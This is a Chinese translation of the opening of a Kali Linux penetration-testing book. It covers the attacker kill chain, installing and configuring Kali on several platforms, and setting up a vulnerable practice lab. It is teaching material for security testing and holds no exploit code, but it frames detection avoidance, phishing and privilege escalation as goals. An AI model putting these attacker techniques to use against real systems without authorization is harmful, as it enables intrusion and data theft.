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 前言
 
 本书致力于介绍如何使用Kali Linux对网络、系统和应用执行渗透测试。渗透测试可以模拟内部或外部的恶意攻击者对网络或系统进行攻击。不同于漏洞评估，渗透测试包括漏洞利用阶段。因此，它能证实漏洞是存在的，而且如果不采取相应的措施将会有很大风险。
 
 [image: ]在本书中，“渗透测试人员”“攻击者”和“黑客”互换使用，因为他们使用完全相同的技术及工具评估网络和数据库系统的安全性。他们之间的唯一区别是目标——数据网络的安全或数据的外泄。
 
 简而言之，本书将带你完成渗透测试之旅：使用一些成熟的工具，使用Kali Linux在网络找出防御漏洞，从选择最有效的工具到快速突破网络安全防线，再到最重要的避免检测技术。
 
 本书的读者对象
 
 如果你是一位渗透测试人员、IT专家或者安全顾问，想要利用Kali Linux的一些高级功能最大限度地完成网络测试，那么本书就是为你准备的。预先掌握渗透测试的基础知识将有助于你充分利用本书。
 
 本书的主要内容
 
 第1章概述了贯穿本书的渗透测试方法，确保全书遵循一致且全面的方法。
 
 第2章提供了一个背景，说明如何利用可公开使用的资源收集有关目标的信息，以及用于简化侦察和信息管理的技术。
 
 第3章向读者介绍了可用于获取关于目标信息的隐秘方法，特别是识别可利用的漏洞的信息。
 
 第4章教你掌握扫描网络及其设备的半自动化过程，接收所有侦察和漏洞扫描信息的过程，并评估这些信息，最后创建一个指导渗透测试过程的路线图。
 
 第5章说明了如何才能物理地访问一个系统，或与管理人员进行交互，从而提供最成功的利用途径。
 
 第6章简要介绍了无线技术，重点介绍了绕过安全防范，进而危害网络的常用技术。
 
 第7章简要概述了确保最复杂的交付阶段的安全：暴露在公共网络上的Web应用。
 
 第8章着重介绍了对终端用户系统上的应用程序的攻击，这些终端系统通常得不到与组织的主干网络相同级别的保护。
 
 第9章演示了最常见的安全控制，找出了克服这些控制的系统化过程，并演示了如何使用Kali工具集的工具。
 
 第10章演示了攻击者发现和利用系统漏洞的方法。
 
 第11章重点讨论了直接的后利用活动和横向扩展。横向扩展是指利用被控制系统作为起点，“跳”到网络上的其他系统的过程。
 
 第12章演示了渗透测试人员如何拥有系统的各种操作权限，更重要的是，如何获得一些访问权限，允许测试人员控制网络上的所有系统。
 
 第13章重点讨论了现代攻击者如何使数据转移到攻击者的本地位置，同时隐藏攻击的证据。
 
 第14章主要讲述了现代攻击者如何在嵌入式设备和复制的NFC卡上实施结构化的攻击来达成目的。
 
 学习本书需要准备什么
 
 为了实践本书提供的代码，你需要虚拟化工具，如VMware或者VirtualBox。
 
 你需要下载并配置Kali Linux操作系统及其工具套件。为了确保它是最新版本且包括所有工具，你需要连接到互联网。
 
 很遗憾，本书不会一一介绍Kali Linux系统的所有工具，因为工具实在太多了。本书并非想要你掌握所有的工具和选项，而是提供一种测试的方法，进而随着你的经验和知识的增长，给你机会去学习和整合新工具。
 
 尽管本书的大多数实例专注于Microsoft Windows操作系统，但是这些方法和大多数工具同样适用于其他操作，如Linux和其他版本的Unix。
 
 最后，本书运用Kali完成对目标系统的攻击。为此，你也需要一个目标操作系统。本书的大多数实例使用Microsoft Windows 7和Windows 2008 R2操作系统。
 
 下载示例代码及彩色图像
 
 本书的示例源码及所有截图和样图，可以从http://www.packtpub.com通过个人账号下载，也可以访问华章图书官网http://www.hzbook.com，通过注册并登录个人账号下载。
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  审校者简介


  Kunal Sehgal担任金融组织的网络安全员已经超过了15年。他是一个热心的博主，并且经常在亚洲的各种网络相关的论坛上发表演讲。Kunal获得了旁遮普大学（Panjab University）的计算机应用学士学位，以及佐治亚学院（Georgian College）的网络空间安全硕士学位。Kunal还持有多个安全证书，包括注册信息系统审计师（CISA）、信息系统安全认证专家（CISSP）、注册信息安全经理（CISM）、防御型注册Nessus审计师（TCNA）、云安全知识认证（CCSK）、ISO27001首席审核员、威慑安全认证专家（OSCP）以及CompTIA Security+认证。


  第1章　基于目标的渗透测试


  一切皆始于目标。本章将讨论有着一系列目标的基于目标的渗透测试的重要性；并且描述一些在没有目标的情况下，典型的漏洞扫描、渗透测试和红队训练的失败案例和误解。本章还对安全测试做了一个总结，介绍了如何搭建验证环境，重点讨论了如何定制Kali以支持渗透测试的一些高级内容。阅读完本章，你将学会以下内容：


  ·安全测试概述。


  ·漏洞扫描、渗透测试和红队训练的误解。


  ·Kali的历史和目的。


  ·更新和组织Kali。


  ·设置定义的目标。


  ·构建验证环境。


  1.1　安全测试概述


  世界各地的每个家庭、每个个体、公共企业或私人企业在网络空间中都存在各种顾虑，例如数据丢失、恶意软件和网络恐怖主义等。这些都围绕一个概念——保护。如果你问100位不同的安全顾问：“什么是安全测试？”，你可能会得到不同的回答。其中最简单的解释为：安全测试是一个过程，用于验证信息资产或系统是否受到保护，以及保护功能是否按照预期效果执行。

 
 1.2　漏洞扫描、渗透测试和红队训练的误解
 
 在本节中，我们将探讨传统/经典漏洞扫描、渗透测试和红队训练的误解和局限性。现在让我们开始简单阐述这三种方法的实际意义，并讨论它们的局限性。
 
 ·漏洞扫描（Vulnerability scanning，Vscan）：它是一个识别系统或网络的安全漏洞的过程。关于漏洞扫描的一个误解就是它将让你知道所有已知漏洞，但这是不正确的。漏洞扫描的局限性在于只识别潜在的漏洞，且完全依赖于其利用的扫描工具类型，其中可能包括大量的误报。而对企业主而言，他们并不能借此预计相关的风险，更不能预测攻击者将首先利用哪个漏洞获得访问权限。
 
 ·渗透测试（Penetration testing，Pentest）：它是一个安全地利用漏洞而不太影响现有网络或业务的过程。测试人员尝试并模拟漏洞利用后，误报的次数就会减少。渗透测试的不足是只能利用目前已知的公开漏洞，并且大部分都是以项目为重点的测试。在渗透测试中，我们经常听到“耶！得到Root权限”，但我们从来不问“下一步是什么”。原因可能有多种，如项目限制你立即向客户报告高风险问题，或者客户只关心网络的一部分，并希望你测试它。
 
 [image: ]关于渗透测试的一个误解是它提供了一个网络的完全的攻击者视图，并且一旦你进行了渗透测试就安全了。然而事实并非如此，例如攻击者发现了安全应用中业务流程中的漏洞。
 
 ·红队训练（Red Team Exercise，RTE）：它是一个评价组织有效防御网络威胁并且通过各种方法提高其安全性的过程。在红队训练期间，我们注意到了实现项目目标的多种方式，例如针对项目目标活动进行完整覆盖，包括网络钓鱼、无线、丢弃盒（USB、CD以及SSD）和物理渗透测试等。使用红队训练的不足是它们具有时间限制、预定义的方案，以及假设而非真实的环境。通常，为了每一项技战术都按照程序执行，红队训练运行在完全监控的模式下，但当真实的攻击者想完成一个目标的时候，情况就不一样了。
 
 通常，三种不同的测试方法都指向术语：黑客入侵或破解。我们将入侵网络，并暴露网络的弱点，但是，客户或企业主是否知晓这些网络被侵入或破解？我们如何衡量入侵或破解？有什么标准？我们何时才能知道入侵或破解完成。所有这些问题都指向一件事——什么是主要目标？
 

  1.3　基于目标的渗透测试


  渗透测试和红队训练的主要目标是确定真实风险，评估组织的每项资产、业务、品牌形象等的风险等级。这不是评估它们有多少风险，而是评估它们暴露多少风险。如果发现的威胁并不构成风险，则无须进行证明。例如，对宣传册网站进行跨站脚本（Cross-Site Scripting，XSS）攻击可能不会对业务产生重大影响。然而，客户端可能会接受使用Web应用程序防火墙（Web Application Firewall，WAF）防止XSS攻击。


  而基于目标的渗透测试是实时的，依赖于机构面临的特定问题，例如这样一个目标：我们最担心在线的门户网站和欺诈交易。所以，当前的目标就是通过钓鱼攻击入侵门户网站或管理员，或者通过系统漏洞占据审批链。每个小目标都伴随着自有的技战术和流程去支持渗透测试活动的主要目标。在本书中，我们将利用Kali Linux去探索各种不同的渗透测试方法。

 
 1.4　测试方法
 
 渗透测试方法很少考虑为什么要进行渗透测试，或哪些数据是需要保护的业务关键数据。缺少这至关重要的第一步，渗透测试就无法抓住重点。
 
 很多渗透测试人员不愿遵循现成的渗透测试方法，他们担心模型会阻碍他们进行网络渗透的创造力。渗透测试不能反映恶意攻击者的实际活动。通常，客户希望看到你能否在一个特定的系统中获得管理上的访问权（你可以获得这些系统的Root权限吗？）。然而，攻击者可能会重点关注以一种不需要Root权限或引起拒绝服务的方式复制关键数据。
 
 为了解决渗透测试方法中固有的局限性，必须将所有测试方法集成到一个框架中，从攻击者的角度审视网络，即杀链（kill chain）。
 
 2009年，Lockheed Martin CERT的Mike Cloppert首先引入了上述理论，现在称为攻击者杀链（attacker kill chain）。杀链包含攻击者攻击网络时所采取的步骤。杀链不总是以一个线性流呈现，因为一些步骤可能会并行出现。多发攻击可以瞬时对同一个目标进行多种攻击，并且在同一时间攻击步骤可能发生重叠。
 
 在本书中，我们已经修改了Cloppert的杀链，使之能更准确地反映攻击者如何在测试网络、应用和数据服务时应用这些步骤。
 
 图1-1显示了攻击者的一个典型杀链。
 
  
  [image: ] 
 
 
 图1-1　典型的杀链
 
 攻击者的一个典型杀链可以描述如下。
 
 ·探索或侦察阶段。有一句格言：“侦察永远不浪费时间”。大多数军事组织承认，在进攻敌人之前，最好尽可能地去了解敌人的一切信息。同样，攻击者在攻击之前也会对目标展开广泛的侦察。事实上，据估计，针对渗透测试或攻击，至少有70%的“工作量”是进行侦察！一般来说，可采用两种类型的侦察：
 
 　　被动侦察。这种方式并不直接与目标以敌对方式进行交互。例如，攻击者将会审查公共的可用网站，评估在线媒体（尤其是社交媒体网站），并试图确定目标的攻击表面。一项具体的任务是生成一份过去和现在的雇员姓名的列表。这些姓名将成为尝试暴力攻击或密码猜测的基础。同样它们也将用于社会工程学的攻击中。这种类型的侦察很难从普通用户的行为中区分出来。
 
 　　主动侦察。这种方式可以被目标检测到，但是很难从常规的背景中区分出大多数在线组织的表现。主动侦察期间的活动包括物理访问目标前端、端口扫描和远程漏洞扫描。
 
 ·交付阶段。交付是用于完成攻击中的任务的武器的选择和开发。精确的武器选择取决于攻击者的意图以及交付路线（例如，借助网络、无线，或通过基于Web的服务）。交付阶段的影响将在本书后半部分（第5～14章）介绍。
 
 ·利用或攻击阶段。一个特定的漏洞被成功利用的同时，攻击者实现他们的目标。攻击可能在一个特定的情景下发生（例如，通过缓冲区溢出利用一个已知操作系统的安全隐患），或者可能在多个情景下发生（例如，一个攻击者物理访问公司处所，偷取电话簿，用公司员工的名字创建门户登录暴力破解列表。此外，向所有员工发送电子邮件以引诱他们单击一个嵌入的链接，下载制作的PDF文件，这些文件会危及员工的计算机安全）。当恶意攻击者针对特定的企业时，多情景攻击是常态。
 
 ·完成阶段——对目标的行动。这通常被称为“渗漏阶段”（exfiltration phase），但这是错误的，因为通常理解对目标的行动的攻击，仅仅以窃取敏感信息作为唯一目的（如登录信息、个人信息和财务信息）。通常情况下，攻击者有不同的攻击目标。例如，一家公司可能希望在它竞争对手的网站上发起拒绝服务攻击，从而驱使用户访问自己的网站。因此，这一阶段必须专注于攻击者的可能的许多行动。最常见的利用活动是攻击者试图将他们的访问权限提升到最高级（纵向提权），并且破解尽可能多的账号（横向提权）。
 
 ·完成阶段——持久性。如果攻击一个网络或系统是有价值的，那么这个价值很可能在持续攻击下增长。这就需要攻击者持续与被攻破的系统保持通信。从防护者的角度来看，这是攻击杀链中最容易检测到的一部分。
 
 当攻击者试图攻击网络或特定的数据系统时，攻击杀链是攻击者行为的一种元模型。作为一种元模型，它可以吸收任何私人的或商业的渗透测试方法。但是，不同于这些方法，它能使攻击者在一个战略高度上关注如何接近网络。这种专注于攻击者的活动将引导本书的布局和内容。
 

  1.5　Kali Linux简介：特征


  Kali Linux（Kali）继承于BackTrack渗透测试平台，通常认为BackTrack是测试安全数据和语音网络的实际上的标准工具包。它是由Mati Aharoni和Devon Kearns联合开发的攻击性安全防护工具。


  截至2018年12月，Kali于2018年共发布了4个主要版本。Kali2018.1版（Kernel4.14.13，Gnome3.26.2）发布于2018年2月6日。Kali2018.2版（Kernel4.15）发布于2018年4月30日，用以对抗x64和x86芯片上的Spectre和Meltdown漏洞。Kali2018.3发布于2018年黑客夏令营后的8月21日，该版本的Kernel版本号是4.17.0。最终版Kali2018.4发布于2018年10月29日，包括许多更新的包，以及一个实验版的64位Raspberry Pi3镜像。


  最新版的Kali包括以下特征：


  ·包含500多个渗透测试、数据取证和防御工具。大多数工具都被淘汰了，并被类似的工具代替。它们由多个硬件和内核补丁提供广泛的无线支持，以允许某些无线攻击所需的包注入。


  ·支持多种桌面环境，例如KDE、GNOME3、Xfce、MATE、e17、lxde以及i3wm。


  ·默认情况下，Kali的Debian兼容工具每天至少与Debian资源库同步4次，以保证实时更新包及应用安全补丁。


  ·拥有安全的开发环境和GPG签名的包和资源库。


  ·支持ISO自定义，即允许用户利用部分工具建立他们自己的Kali定制版本，使其更加精简。引导程序功能还执行企业级网络的安装，可以使用先前的种子文件进行自动化安装。


  ·由于基于ARM的系统变得越来越流行，成本越来越低，所以支持ARMEL和ARMHF的Kali可安装在各种设备上，例如rk3306mk/ss808、Raspberry Pi、ODROID U2/X2、Samsung Chromebook、EfikaMX、Beaglebone Black、CuBox和Galaxy Note10.1。


  ·Kali依然是一个免费的开源项目。最重要的是，它受到了活跃的在线社区的支持。


  Kali在红队策略中的角色


  尽管渗透测试者可以选择任何操作系统来执行他们想要的活动，但是使用Kali Linux可以节省大量的时间，并且不需要去搜索其他操作系统通常不可用的包。Kali在红队策略中一些未被注意到的优势包括：


  ·单一攻击源可以攻击各种平台。


  ·快速添加资源，安装包及各种支持库（特别是那些Windows不可用的库）。


  ·使用alien甚至可安装RPM包。


  Kali Linux的目标是保障安全，通过整合所有工具为渗透测试人员提供一个统一的平台。


  1.6　安装和更新Kali Linux


  在本书的第2版中，我们主要介绍了如何利用Docker在VMware、VirtualBox和Amazon AWS上安装Kali Linux。本节将介绍如何在上述平台和Raspberry Pi3上安装Kali。

 
 1.6.1　在便携式设备中安装Kali Linux
 
 将Kali Linux安装到便携式设备中相当简单。在某些情况下，客户不允许在安全设施内部使用外部笔记本电脑。在这种情况下，通常客户端向漏洞测试者提供测试计算机以进行扫描。在漏洞测试和红队训练时，在一个便携式设备上运行Kali Linux有如下好处：
 
 ·在USB或移动设备中时，Kali就在你的口袋中。
 
 ·在不对主机操作系统进行任何更改的情况下，Kali可以直接运行。
 
 ·你可以自定义Kali Linux的构建，甚至可以将其固化存储。
 
 从Windows PC将USB转换为便携式Kali有一个简单的过程，包含三个步骤：
 
 1.从http://docs.kali.org/introduction/download-official-kali-linux-images下载官方的Kali Linux镜像。
 
 2.从https://sourceforge.net/projects/win32diskimager/下载Win32Disk Imager。
 
 3.以管理员身份打开Win32Disk Imager。将USB驱动器插入PC的可用USB端口，如图1-2所示。选择正确的驱动器名称，然后单击Write。
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 图1-2　Win32Disk Imager启动界面
 
 一旦完成，退出Win32Disk Imager，并安全移出USB。现在，Kali Linux已经在便携式设备上安装好了，并可以插入任何笔记本电脑来直接启动。还可以使用Win32Disk Imager来生成散列值。如果你的主机操作系统是Linux，则可以通过两个标准命令来实现：
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 该命令将显示驱动器上安装的所有磁盘。
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 这就是显示结果。dd命令行执行转换和复制，if指输入文件，of指输出文件，bs指块大小。
 
 
 1.6.2　在Raspberry Pi 3中安装Kali
 
 树莓派（Raspberry Pi）本质上是具有计算机全部最小功能的单板设备。这些设备对红队训练和渗透测试活动都非常有用。该操作系统的base镜像可以通过SD卡加载，就像普通计算机或笔记本的磁盘驱动一样。
 
 具体步骤和上节类似，在便携式设备中安装Kali Linux，同样适用于连接到Raspberry Pi系统的高速SD卡。如果没有问题，系统就安装成功了。如果安装成功，Kali Linux在Raspberry Pi中的启动画面如图1-3所示。这里，我们使用Raspberry Pi 3做示范，并通过VNC viewer访问Pi操作系统。
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 图1-3　Kali Linux在Raspberry Pi中的启动画面
 
 
 1.6.3　在虚拟机中安装Kali
 
 在本节中，我们将快速了解如何将Kali安装到VMware Workstation Player和Oracle VirtualBox中。
 
 VMware Workstation Player
 
 VMware Workstation Player以前称为VMware Player，可免费使用。在主机操作系统中，VMware虚拟机作为桌面应用程序存在，允许商用。该应用程序可以从如下网址下载：https://my.vmware.com/en/web/vmware/free#desktop_end_user_computing/vmware_workstation_player/12_0。
 
 这里我们将使用VMware Workstation Player 12.5.9版本。一旦下载好安装器，直接根据主机操作系统安装VMware Player。如果安装完成，你将看到如图1-4所示的画面。
 
  
  [image: ] 
 
 
 图1-4　VMware Workstation Player安装成功画面
 
 下一步将Kali Linux安装到VMware，点击Create a New Virtual Machine（创建新的虚拟机）并选择Installer disc image file（ISO）（安装磁盘镜像文件）。浏览ISO文件，然后单击Next。现在你可以输入你选择的名称（例如HackBox），并选择要存储VMware镜像的自定义位置。单击Next，然后设定磁盘容量。建议运行Kali的最小磁盘容量为10 GB。然后单击Next直到完成。
 
 另一种方法是直接下载VMware镜像，然后打开.vmx文件选择I copied it。然后在VMware中启动安全加载的Kali Linux。
 
 你也可以选择在主机系统中安装Kali Linux或者把它作为活动镜像运行。一旦所有安装步骤完成，如图1-5所示，Kali Linux就在VMware中准备好了。
 
 VirtualBox
 
 与VMware Workstation Player类似，VirtualBox是一个完全开源的虚拟机管理程序，也是可以从主机操作系统运行任何虚拟机的免费桌面应用程序。该应用程序可以从https://www.virtualbox.org/wiki/Downloads下载。
 
 我们将在VirtualBox上安装Kali。与VMware类似，我们将执行下载的可执行文件，直到Oracle VirtualBox成功安装，如图1-6所示。
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 图1-5　VMware中的Kali Linux
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 图1-6　VirtualBox安装包启动界面
 
 安装时，建议将内存大小至少设置为1 GB或2 GB，这样你创建10 GB的虚拟磁盘就不会有任何性能问题。安装完成后，你就可以在VirtualBox中加载Kali Linux，如图1-7所示。
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 图1-7　VirtualBox中的Kali Linux
 
 
 1.6.4　在Docker中安装Kali
 
 Docker是一个开源项目，旨在即时自动部署软件容器和应用程序。Docker还在Linux上提供了操作系统级的虚拟化附加抽象和自动化层。
 
 Docker适用于Windows、Mac、Linux、AWS（Amazon Web Services）和Azure。对于Windows，Docker可从https://download.docker.com/下载。
 
 Docker安装完成后，运行Kali Linux十分简单，只需运行docker pull kalilinux/kali-linux-docker和docker run-t-i kalilinux/kali-linux-docker/bin/bash命令就可以了。
 
 如图1-8所示，我们可以从Docker直接运行Kali Linux。此外，需要注意Docker在后台利用了VirtualBox环境。所以，从技术上讲，它是通过Docker容器运行在VirtualBox的虚拟机。
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 图1-8　使用命令安装Kali Linux
 
 一旦Docker下载完成，你就可以通过命令docker run-t-i kalilinux/kali-linux-docker/bin/bash运行Docker镜像，如图1-9所示。
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 图1-9　运行bash
 
 确保VT-X在BIOS系统中启用，并且Hyper-V在Windows中启用。注意启用Hyper-V将使VirtualBox无法工作，如图1-10所示。
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 图1-10　启用Hyper-V界面
 
 
 1.6.5　在AWS云中安装Kali
 
 亚马逊网络服务（Amazon Web Service，AWS）将Kali Linux作为亚马逊机器接口（Amazon Machine Interface，AMI）和软件即服务（Software as a Service，SaaS）的一部分。渗透测试者和黑客可以利用AWS构建渗透测试或更有效的钓鱼攻击。本节，我们将一步步介绍如何在AWS中安装Kali Linux。
 
 首先，你需要一个有效的AWS账户。你可以通过访问https://console.aws.amazon.com/console/home进行注册。
 
 当登录AWS账户时，我们将可以看到所有的AWS服务，搜索Kali Linux，如图1-11所示。
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 图1-11　Kali Linux在AWS服务中
 
 开源社区让在Amazon marketplace中直接启动预配置的Kali Linux2018.1变得非常简单。以下URL将使我们能够在几分钟内直接启动Kali Linux：https://aws.amazon.com/marketplace/pp/B01M26MMTT。按照说明，你可以通过选择Continue to Subscribe直接启动一个实例。然后你会看到图1-12所示画面，按照图1-12进行选择。最后点击Launch按钮。
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 图1-12　Kali Linux启动选项
 
 在AWS中启动Kali Linux 2018.3之前，建议你创建一对新密钥，如图1-13所示。
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 图1-13　创建一对新密钥
 
 通常，要使用AWS虚拟机，你必须创建自己的密钥对以确保环境安全。然后你可以通过在命令窗口中输入以下命令登录。为了利用私钥登录而无须密码，亚马逊强制文件权限必须通过隧道访问。我们可以通过以下命令连接到Kali Linux实例：
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 图1-14显示了在AWS中成功使用Kali。
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 图1-14　在AWS中的Kali
 
 [image: ]必须满足所有条款和条件才能利用AWS进行渗透测试。在发起云主机的任何攻击之前，必须遵守法律条款和条件。
 

  1.7　组织Kali Linux


  安装只是搭建的第一步，组织Kali Linux非常重要。在本节中，我们将通过不同的定制方式来组织HackBox。


  1.7.1　配置和自定义Kali Linux


  Kali是一个用来完成渗透测试的框架。然而，测试者不应该被默认安装的测试工具或者是Kali桌面的感觉所束缚。通过自定义Kali，测试者可以提高收集到的客户数据的安全性，使渗透测试更简单。


  Kali的常见自定义包括：


  ·重置超级用户密码


  ·添加普通用户


  ·配置网络服务和安全通信


  ·调整网络代理设置


  ·访问安全外壳协议


  ·加速Kali运行


  ·与MS Windows共享文件夹


  ·创建加密文件夹

 
 1.7.2　重置超级用户密码
 
 使用以下命令修改用户密码：
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 然后会提示你输入一个新的密码，如图1-15所示。
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 图1-15　重置密码
 
 
 1.7.3　添加普通用户
 
 为了执行其功能，Kali提供的许多应用都必须用超级用户的权限（Root-level privilege）运行。超级用户权限有一定的风险，例如，输错一个命令或者使用了一个错误的命令，都会导致应用终止，甚至损害被测试的系统。在一些例子中，使用普通用户级权限来测试更可取。事实上，一些应用促进了低权限账户的使用。
 
 为了创建一个普通用户，你可以简单地在终端上使用adduser命令，接着会出现指令，如图1-16所示。
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 图1-16　创建普通用户
 
 
 1.7.4　配置网络服务和安全通信
 
 首先应该确保我们能够访问网络，并且该网络能通过有线或无线网络连接进行更新和通信。
 
 你可能需要通过动态主机配置协议（Dynamic Host Configuration Protocol,DHCP）获取一个IP地址，可以用以下命令修改网络配置并添加以太网适配器：
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 一旦网络配置文件更新，你就可以通过ifup脚本自动获取IP地址，如图1-17所示。
 
 对于静态IP地址，你可以通过以下命令修改上述网络配置文件，从而为Kali Linux分配一个静态的IP地址：
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 图1-17　获取IP地址
 
 默认情况下，Kali不会启用DHCP服务。这样做会在全网广播新的IP地址，从而可能让管理员意识到测试者的存在。对于某些测试情况，这也不是什么问题，并且在系统启动时就加载这些服务可能更有利。这可以通过输入以下命令实现：
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 Kali安装的网络服务都可以根据需要启用或停止，包括DHCP、HTTP、SSH、TFTP和VNC服务器。这些服务通常通过命令行唤醒，但部分服务也可以通过Kali的菜单访问。
 
 
 1.7.5　调整网络代理设置
 
 用户要使用认证的或非认证的代理连接必须修改bash.bashrc和apt.conf文件。两个文件都位于/etc/目录下。
 
 如图1-18所示，编辑bash.bashrc文件，利用文本编辑器在bash.bashrc的最后添加如下命令：
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 图1-18　编辑bash.bashrc文件
 
 分别用代理服务器IP地址和端口号代替proxyIP和port，并且用认证用户名和密码代替user和password。如果不需要认证，只需输入@符号后面的部分。最后，保存并关闭文件。
 
 
 1.7.6　访问安全外壳协议
 
 在测试期间，为了避免目标网络的检测，Kali不会启用任何外部侦听网络服务。某些服务，如安全外壳协议（Secure Shell，SSH）已经安装。但是这些协议在使用前必须先启用。
 
 Kali预先配置了默认的SSH密钥。在启用SSH服务前，最好弃用默认的密钥，并产生一个唯一密钥集。
 
 通过以下命令，可以将默认的SSH密钥移动到备份文件，然后生成新的密钥集：
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 如图1-19所示，你可以通过命令service ssh status来查看SSH服务是否正在运行。
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 图1-19　启用SSH服务
 
 注意，启用SSH的默认配置就无法使用超级用户登录。如果需要使用超级用户访问，你就必须编辑/etc/ssh/sshd_config文件，并将PermitRootLogin设置为yes，保存然后退出。最后，你就可以通过这个网络上的任何系统访问SSH服务并使用Kali Linux。例如，我们可以使用PuTTY（一个基于Windows环境的免费的可移植的SSH客户端）。如图1-20所示，你可以从其他机器访问Kali Linux，接受SSH证书，输入你的凭证。
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 图1-20　通过网络访问Kali Linux
 
 
 1.7.7　加速Kali运行
 
 以下几种工具可用来优化和加速Kali运行：
 
 ·在使用虚拟机时，安装VM软件驱动包Guest Additions(VirtualBox)或VMware Tools(VMware)。
 
 [image: ]在安装前必须确保运行了apt-get update命令。
 
 ·在创建虚拟机时，选择一个固定大小的磁盘，而非动态分配的磁盘。固定大小的磁盘可以更快地添加文件，并且碎片更少。
 
 ·默认情况下，Kali不会显示所有出现在启动菜单中的应用。每个在启动阶段安装的应用都拉低了系统数据，并且可能会影响内存使用和系统性能。安装启动管理器（Boot Up Manager，BUM）来禁止启动时非必要的服务和应用（apt-get install bum），如图1-21所示。
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 图1-21　BUM启用时的屏幕截图
 
 
 1.7.8　与主机操作系统共享文件夹
 
 Kali工具箱能灵活地与驻留在不同操作系统中的应用共享成果，特别是Microsoft Windows。最有效率的共享数据方式是创建一个主机操作系统和Kali Linux VM用户能访问的文件夹。
 
 当将主机或VM中的数据放置在共享文件夹中时，所有能访问共享文件夹的系统都将能立刻访问数据。
 
 创建一个共享文件夹的步骤如下：
 
 1.在主机操作系统上创建一个文件夹。在这个例子中，我们将其命名为kali_Share。
 
 2.右键单击文件夹，选择Sharing选项表。从这个目录中，选择Share。
 
 3.确保文件与Everyone共享，Permission Level设置为Read/Write。
 
 4.如果你没有这样操作，那么在Kali Linux上安装适当的工具。例如，在使用VMware时，安装VMware工具。
 
 5.安装完成之后，在VMware菜单里选择Manage并点击Virtual Machine Setting。找到Shared Folders菜单，并选择Always Enabled选项。创建一个主机操作系统中已存在的共享文件夹的路径，如图1-22所示。
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 图1-22　虚拟机设置的屏幕截图
 
 6.使用Oracle VirtualBox时，选择VM进入Settings然后选择Shared Folders，如图1-23所示。
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 图1-23　选择“Shared Folders”选项
 
 [image: ]旧版本的VMware player使用了不同的菜单。
 
 7.在VirtualBox的Kali Linux桌面运行mount-shared-folders.sh文件。如图1-24所示，共享的文件夹可以在mnt中看到。
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 图1-24　mnt中的共享文件夹
 
 8.放在该文件夹下的所有文件均可以通过主机操作系统的相同文件名访问，反之亦然。
 
 共享文件中将包含渗透测试中的敏感数据，所以需要通过加密来保护用户网络，在数据丢失时，减轻测试人员的责任。
 

  1.7.9　使用Bash脚本来定制Kali


  通常，为了维护系统和软件开发，在Linux中的命令行界面开发了多个shell，即sh、bash、csh、tcsh和ksh。


  根据渗透测试的目标，我们可以利用以下bash脚本定制Kali Linux：


  https://github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-Third-Edition/blob/master/Chapter%2001/lscript-master.zip。


  1.8　构建验证环境


  作为渗透测试人员，我们建议你搭建自己的验证环境来测试任意类型的漏洞，并且在现场环境中模拟相同的实践之前，要有正确的概念证明。

 
 1.8.1　安装预定目标
 
 为了实践利用的艺术，通常我们建议你利用已知的软件漏洞。本节我们将安装Windows平台Metasploitable3，它是一个基于PHP框架的Web应用。
 
 Metasploitable3
 
 Metasploitable3无疑是一个易受攻击的虚拟机，其用于利用Metasploit对多个漏洞进行测试。它具有BSD风格的许可证。可以构建两个虚拟机用于练习，虚拟机下载地址为：https://github.com/rapid7/metasploitable3。你可以下载ZIP文件并将其解压到你最喜欢的Windows位置（通常，我们将其解压到D:\HackTools\文件夹中），或者你还可以使用bash命令行远程克隆代码。然后，安装所有相关的支持软件，如Packer(https://www.packer.io/downloads.html)、Vagrant（https://www.vagrantup.com/downloads.html）、VirtualBox和Vagrant reload插件。以下命令可用于安装所有相关的易受攻击的服务和软件。
 
 ·在Windows 10操作系统上，你可以运行以下命令：
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 ·在Linux和macOS操作系统上，你可以运行以下命令：
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 VirtualBox文件下载完成后，你还必须在PowerShell中运行vagrant up win2k8和vagrant up ub1404命令。如图1-25所示，这就在VirtualBox中创建了一个新的虚拟机。
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 图1-25　Metasploitable3虚拟机
 
 Mutillidae
 
 Mutillidae是一个开源的不安全Web应用程序，专为渗透测试人员而设计，以实践所有特定于Web应用程序的漏洞利用测试。XAMMP是由Apache Friends开发的另一个免费开源的跨平台的Web服务器解决方案堆栈包。XAMPP可以从https://www.apachefriends.org/download.html下载。
 
 现在将Mutillidae安装到我们新安装的Microsoft Windows 2008 R2服务器上以进行托管。
 
 1.一旦XAMMP下载完成，我们就按照向导安装可执行文件。安装完成后，启动XAMPP，你应该可以看到如图1-26所示的安装界面。我们使用的版本是XAMPP5.6.36/PHP5.6.36.
 
 2.Mutillidae可以从https://sourceforge.net/projects/mutillidae/files/latest/download下载。
 
 3.解压安装包并复制文件夹到C:\yourxampplocation\htdocs\<mutillidae>。
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 图1-26　XAMMP安装界面
 
 4.你必须确保XAMPP正在运行Apache和MySQL/MariaDB，最后访问mutillidae文件夹的.htacess文件，并确保127.0.0.1在允许的IP范围内。如图1-27所示，我们可以通过http://localhost/mutillidae/访问安装好的Web应用。
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 图1-27　mutillidae网页界面
 
 [image: ]万一出现数据库离线或其他类似的错误信息，你可能需要重新启动Mutillidae或重新安装数据库。
 
 
 1.8.2　创建活动目录及域控制器
 
 在本书的第2版中，我们学习了如何在Windows 2008 R2中创建活动目录。本节将在Windows 2008 R2安装活动目录。当你从Microsoft下载好ISO文件，并且在VMware workstation player或者VirtualBox中安装好虚拟机后，你还必须完成以下步骤：
 
 1.从任务栏打开服务器管理器。
 
 2.在服务器管理器中，点击Add roles and features（添加角色和特征）。
 
 3.从Installation Type（安装类型）界面选择Role-based（基于角色）或Features-based（基于特征）的安装，然后点击Next。
 
 4.默认情况下，会选择相同的服务器。
 
 5.在Server Roles（服务器角色）界面，勾选Active Directory Domain Services（活动目录域服务）旁边的选框。附加的角色、服务或特征都需要安装域名服务器，可以单击Add Features（添加特征）。
 
 6.安装AD DS时，可以根据需要勾选任何可选的特征，点击Next，进入系统兼容检测，然后选择Create a new domain in a new format（创建一个新的域）并点击Next。
 
 7.输入完全限定域名（Fully Qualified Domain Name，FQDN）。在示例中，我们会创建一个新的FQDN：mastering.kali.thirdedition，这会让我们选择Forest functional level。我们可以选择Windows 2008 R2然后点击Next安装域名系统（Domain Name System，DNS）。在安装过程中，建议为本机设置一个静态IP地址，从而使域控制器的特征可以启用。在本例中，我们将服务器的静态IP地址设为192.168.x.x。最后，你还需要设置目录服务恢复模式（Directory Services Restore Mode,DSRM）管理员密码，然后你会看到所有配置信息。
 
 8.在Confirm installation（确认安装）界面检查安装信息，然后单击Install（安装）。
 
